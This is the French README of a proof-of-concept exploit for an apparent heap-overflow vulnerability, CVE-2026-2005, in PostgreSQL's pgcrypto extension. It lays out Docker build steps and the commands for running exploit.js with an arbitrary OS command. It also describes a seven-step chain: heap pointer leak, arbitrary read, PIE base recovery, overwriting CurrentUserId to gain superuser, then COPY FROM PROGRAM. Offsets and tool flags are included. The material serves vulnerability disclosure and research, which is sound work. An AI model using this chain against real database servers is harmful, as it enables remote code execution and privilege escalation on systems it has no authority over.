
Débordement de tampon du tas dans pgcrypto de PostgreSQL : preuve de concept démontrant CVE-2026-2005, exécution de code à distance en tant qu'utilisateur à faibles privilèges et élévation de privilèges jusqu'au superutilisateur via un paquet OpenPGP forgé.
Commit cible : 4b324845ba5d24682b9b3708a769f00d160afbd7 (PostgreSQL 18.1 — vulnérable)
| Champ | Détail |
|---|---|
| CVE | CVE-2026-2005 |
| Type | Débordement de tas (heap buffer overflow) |
| Composant | contrib/pgcrypto/pgp-pubdec.c — pgp_parse_pubenc_sesskey() |
| Impact | Exécution de code arbitraire (RCE) en tant qu'utilisateur OS exécutant PostgreSQL |
| CVSS | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| Authentification requise | Faible — tout utilisateur authentifié disposant du privilège CREATE |
| Versions affectées | PostgreSQL 14.0–14.20, 15.0–15.15, 16.0–16.11, 17.0–17.7, 18.0–18.1 |
| Corrigé dans | 14.21, 15.16, 16.12, 17.8, 18.2 (12 février 2026) |
| Architecture | aarch64 (ARM64) — les décalages de tas et la disposition MBuf sont spécifiques à l'architecture/glibc |
# Construire et démarrer PostgreSQL 18.1 (vulnérable)
docker compose up -d --build
# Attendre que le service soit sain
docker compose logs -f postgres
# Ctrl+C lorsque vous voyez "database system is ready to accept connections"
# Configuration unique : copier le binaire postgres pour l'analyse hors ligne des symboles
docker cp cve-2026-2005-poc:/usr/local/pgsql/bin/postgres ./postgres
# Installer les dépendances Node
npm install
# Exécuter la chaîne d'exploitation RCE complète (SQL pur — aucune interaction Docker)
node exploit.js --cmd "id"
# Avec sortie détaillée
node exploit.js --cmd "id" --verbose
# Exécuter une commande personnalisée
node exploit.js --cmd "whoami"
Étape 1 : Fuite de pointeur de tas
└─ Corrompre l'en-tête du chunk mdst → analyser le message d'erreur pfree()
Étape 2 : Lecture arbitraire (analyse multi-fenêtres)
└─ Écraser mdst->data → analyser la mémoire près du pointeur divulgué
Étape 3 : Collecte de candidats pointeurs
└─ Analyser les dumps de tas pour des valeurs de 8 octets ressemblant à des pointeurs
Étape 4 : Résolution de la base PIE
└─ Voter les adresses divulguées contre les décalages de symboles ELF (regroupés
par décalage de page, hors ligne — symboles analysés depuis la copie locale du binaire)
Étape 5 : Validation PIE
└─ Lecture arbitraire de CurrentUserId à la base candidate → comparaison avec l'OID de session
Étape 6 : Écriture arbitraire
└─ Forger les MBuf msrc + mdst → écraser CurrentUserId → 10 (superutilisateur)
Étape 7 : Exécution de commande
└─ COPY FROM PROGRAM → commande OS arbitraire en tant qu'utilisateur postgres
CVE-2026-2005/
├── Dockerfile # Construit PostgreSQL 18.1 à partir des sources
├── docker-compose.yml # Service PostgreSQL avec redémarrage automatique
├── init.sh # Point d'entrée — initdb + configuration d'écoute
├── README.md # Ce fichier
└── poc/
├── package.json # Dépendances Node.js (pg)
├── exploit.js # Exploit RCE complet en 7 étapes (Node.js)
├── verify.sh # Vérification rapide basée sur un script shell
└── test-pgcrypto.sql # Test SQL uniquement du chargement de pgcrypto
git clone https://github.com/postgres/postgres.git
cd postgres
git checkout 4b324845ba5d24682b9b3708a769f00d160afbd7
./configure \
--prefix="$HOME/projects/pg/pgsql" \
--with-libxml \
--with-libxslt \
--enable-debug \
--with-ssl=openssl
make -j$(nproc)
make install-world-bin
tmux (optionnel — nécessaire uniquement avec le drapeau --gdb)Le bug se trouve dans pgp_parse_pubenc_sesskey() dans contrib/pgcrypto/pgp-pubdec.c.
Lors de l'analyse d'un paquet OpenPGP de clé de session chiffrée par clé publique (tag 1) :
memcpy copie les données de la clé de session dans un tampon de taille fixe basé sur la longueur non validéeLe memcpy peut écrire au-delà de la limite du tampon de tas, corrompant les métadonnées
ou données adjacentes du tas, conduisant à une exécution de code arbitraire.
pfree() pour extraire l'adresse de tas mdst->data./proc/<pid>/maps depuis le conteneur Docker
pour trouver l'adresse de chargement du binaire postgres au moment de l'exécution.msrc (source) et mdst (destination)
via le débordement de tas. msrc pointe vers un paquet symenc intégré contenant
l'OID superutilisateur (10) ; mdst pointe vers CurrentUserId - 4
(en tenant compte de l'en-tête SET_VARSIZE de 4 octets).CurrentUserId = 10 (superutilisateur bootstrap),
exécuter COPY FROM PROGRAM pour lancer des commandes OS arbitraires.| Drapeau | Défaut | Description |
|---|---|---|
--cmd | id | Commande OS à exécuter après un exploit réussi |
--key-size | 3072 | Taille de la clé RSA en bits |
--host | 127.0.0.1 | Hôte PostgreSQL |
--port | 5432 | Port PostgreSQL |
--user | postgres | Utilisateur de la base de données |
--password | (vide) | Mot de passe de la base de données |
--dbname | postgres | Nom de la base de données |
--binary | ./postgres | Chemin vers le binaire ELF postgres pour les symboles |
--scan-offset | auto | Remplacer le décalage d'analyse du tas depuis le pointeur divulgué |
--verbose | désactivé | Activer la sortie de débogage détaillée |
--gdb | désactivé | Attacher GDB via tmux au point de débordement |
pgcrypto est fiable — tout utilisateur disposant du privilège CREATE
(non superutilisateur) peut l'installer, rendant cette vulnérabilité exploitable avec des privilèges faibles.--enable-debug pour faciliter le débogage avec gdb.SRC_CHUNK_OFFSET=100, DST_CHUNK_OFFSET=172) sont spécifiques
à aarch64 + glibc — d'autres architectures/allocateurs nécessitent des décalages différents.CurrentUserId via la même
primitive de lecture arbitraire.